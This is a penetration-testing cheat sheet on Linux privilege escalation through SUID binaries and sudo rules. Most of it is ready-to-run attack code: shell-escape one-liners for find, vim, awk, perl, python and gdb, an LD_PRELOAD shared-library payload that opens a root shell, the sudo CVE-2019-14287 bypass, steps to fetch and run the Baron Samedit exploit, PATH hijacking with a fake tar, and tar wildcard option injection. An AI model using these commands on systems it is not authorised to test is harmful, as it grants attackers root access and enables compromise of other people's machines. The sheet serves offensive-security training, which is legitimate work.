PrivEsc - SUID & Sudo

Sections PrivEsc - SUID & Sudo

Cheapest privesc paths. Always check these first after 05 Local Enum .

i. Enumerate

sudo -l 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
## SGID (root group, less common but useful):
find / -perm -2000 -type f 2>/dev/null

Diff against a known-clean install to find custom SUIDs:

find / -perm -4000 -type f 2>/dev/null | sort > suid.txt
## known defaults on Ubuntu/Debian: passwd, su, mount, umount, sudo, pkexec, chsh, chfn, newgrp
diff <(cat suid.txt) <(echo -e "/usr/bin/passwd\n/usr/bin/su\n/usr/bin/sudo\n...")

ii. GTFOBins workflow

Take any SUID or sudo entry, check GTFOBins . If it’s listed under SUID or Sudo, follow the recipe.

Common SUID payloads, one-liners:

## find
find . -exec /bin/sh -p \; -quit
## vim / vim.basic
vim -c ':!/bin/sh -p'
## nano (no direct, but write to /etc/shadow if SUID)
## less / more
less /etc/passwd
!/bin/sh -p
## awk
awk 'BEGIN {system("/bin/sh -p")}'
## perl
perl -e 'exec "/bin/sh","-p";'
## python
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
## nmap (legacy interactive mode, only old nmap)
nmap --interactive
!sh
## gdb
gdb -nx -ex 'python import os; os.execl("/bin/sh","sh","-p")' -ex quit
## bash itself as SUID won't drop privs unless called with -p
bash -p
-p flag is the trick

A SUID /bin/sh or /bin/bash will drop privileges immediately unless called with -p (preserve privileges). Forgetting -p is the most common mistake on this path.

iii. sudo -l interpretation

Common patterns and how to break them:

NOPASSWD on a specific binary, jump straight to GTFOBins:

(ALL) NOPASSWD: /usr/bin/find -> sudo find . -exec /bin/sh \; -quit

NOPASSWD on a script you can read:

sudo -l                                ## see the script path
cat /usr/local/bin/backup.sh           ## look for relative paths, $PATH abuse, wildcards

env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH set, classic abuse:

cat > /tmp/r.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/r.so /tmp/r.c
sudo LD_PRELOAD=/tmp/r.so <any allowed binary>

(ALL,!root) denyall pattern, exploit with sudo CVE-2019-14287:

## When sudo allows /bin/bash as any user except root:
sudo -u#-1 /bin/bash                   ## -1 wraps to uid 0
sudo -u#4294967295 /bin/bash

iv. Sudo version exploits

Check version first:

sudo -V | head -1
VersionCVEExploit
sudo < 1.8.28CVE-2019-14287sudo -u#-1 when ALL,!root rule exists
sudo 1.8.2 - 1.8.31p2, 1.9.0 - 1.9.5p1CVE-2021-3156 (Baron Samedit)heap overflow, public PoC, no sudo permissions needed
sudo < 1.9.14CVE-2023-22809sudoedit env var injection (EDITOR='vim -- /etc/passwd')

Baron Samedit PoC (no permissions needed at all):

git clone https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156 && make && ./sudo-hax-me-a-sandwich 0

v. PATH abuse in sudo scripts

If a sudo-allowed script calls a binary without an absolute path:

sudo -l                                ## shows /usr/local/bin/backup.sh allowed
cat /usr/local/bin/backup.sh           ## sees: tar czf /backup.tgz /home; rm /tmp/old

The script calls tar without full path. Put a fake tar first in PATH:

cat > /tmp/tar <<'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/tar
sudo PATH=/tmp:$PATH /usr/local/bin/backup.sh
secure_path bypass

When sudoers has secure_path set, the PATH=... trick is stripped. Look at the script for other paths it uses (env vars, source’d files) instead.

vi. Wildcard abuse

A root cron or sudo script uses * or globbing — you can inject options:

tar wildcard:

## In a directory the root script tar's:
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh sh.sh'
echo '/bin/bash -p' > sh.sh
chmod +x sh.sh
## When root runs tar * in this dir, the checkpoint action fires

rsync, chown, chmod, find wildcards have similar tricks. See wildcards-gone-wild .

vii. Custom SUID binary inspection

When the SUID is not in GTFOBins, read it:

file /usr/local/bin/custom
strings /usr/local/bin/custom | less
## Calls to system(), execvp(), execlp() without full paths -> PATH abuse
## Calls to system("cmd args") with user input -> command injection
ltrace /usr/local/bin/custom 2>&1 | grep -E 'system|exec|getenv'
strace -f /usr/local/bin/custom 2>&1 | grep -E 'execve|open'

If it loads a library from a writable path, classic library hijack:

ldd /usr/local/bin/custom              ## shows lib paths
## Replace any writable .so with a malicious one

viii. Common gotcha: the binary is wrapped

The actual binary at /usr/local/bin/x is a bash script calling the real binary. Read it:

file /usr/local/bin/x                  ## "Bourne-Again shell script"
cat /usr/local/bin/x

Scripts can’t be SUID on Linux (kernel ignores SUID on interpreted files). If it appears SUID and works, there is a wrapper or the script source is read by a separate SUID binary. Trace it with strace.